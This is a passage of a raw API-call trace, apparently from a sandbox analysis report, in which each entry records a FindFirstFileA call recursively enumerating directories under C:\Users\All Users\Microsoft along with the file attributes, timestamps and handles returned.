ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0220.703] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xebdee160, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xebdee160, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0220.706] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xec323180, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xec323180, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0220.708] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8ab1ae70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xebf91080, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xebf91080, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0220.711] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\RAC\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xec323180, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xec323180, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0220.714] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\RAC\\Outbound\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xec323180, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xec323180, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0220.717] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xec4079c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xec4079c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0220.724] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\RAC\\StateData\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xec701540, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xec701540, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0220.726] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\RAC\\Temp\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xec701540, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xec701540, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0220.729] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Search\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xec7276a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xec7276a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0220.732] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Search\\Data\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xec7276a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xec7276a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0220.735] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xec7276a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xec7276a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0220.738] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xecf56240, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xecf56240, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0220.741] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Config\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xec74d800, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xec74d800, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0220.743] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xec74d800, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xec74d800, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0220.748] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x29932700, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xec773960, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xec773960, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549910 [0220.752] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xecb77e80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xecb77e80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0220.755] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27eb7240, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xecb9dfe0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xecb9dfe0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549910 [0220.758] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\*", lpFindFileData=0x4a79d8 | out: lpFindFileData=0x4a79d8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x29958860, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xecb9dfe0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xecb9dfe0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549950 [0220.760] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\*", lpFindFileData=0x4a7030 | out: lpFindFileData=0x4a7030*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x29958860, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xecb9dfe0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xecb9dfe0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549990 [0220.763] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\*", lpFindFileData=0x4a79d8 | out: lpFindFileData=0x4a79d8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27eb7240, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xecbc4140, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xecbc4140, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549950 [0220.766] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\*", lpFindFileData=0x4a79d8 | out: lpFindFileData=0x4a79d8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x29958860, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xecbea2a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xecbea2a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549950 [0220.770] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Search\\Data\\Temp\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e1ecc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xecf56240, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xecf56240, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0220.772] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\User Account Pictures\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xed060be0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xed060be0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0220.775] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xecf7c3a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xecf7c3a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0220.783] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Vault\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xed060be0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xed060be0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0220.786] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\VISIO\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80ac5760, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xed086d40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xed086d40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0220.789] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Windows\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xed086d40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xed086d40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0220.792] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Windows\\AIT\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xed086d40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xed086d40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0220.795] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Windows\\Caches\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x283ea490, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0xed086d40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xed086d40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0220.798] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Windows\\DeviceMetadataStore\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xed0acea0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xed0acea0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0220.800] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xed0acea0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xed0acea0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0220.803] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Windows\\DRM\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xed0d3000, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xed0d3000, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0220.806] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Windows\\DRM\\Cache\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xed0d3000, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xed0d3000, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0220.809] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Windows\\GameExplorer\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xed0d3000, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xed0d3000, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0220.812] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xed1916e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xed1916e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0220.817] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xed927d00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xed927d00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0220.820] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Windows\\Sqm\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0xed927d00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xed927d00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0220.823] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Windows\\Sqm\\Manifest\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0xed927d00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xed927d00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0220.825] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Windows\\Sqm\\Sessions\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0xed94de60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xed94de60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0220.828] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Windows\\Sqm\\Upload\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0xed94de60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xed94de60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0220.832] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xed94de60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xed94de60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0220.837] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xed94de60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xed94de60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0220.841] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xed973fc0, ftLastAccessTime.dwHighDateTime=0x1d5c259, 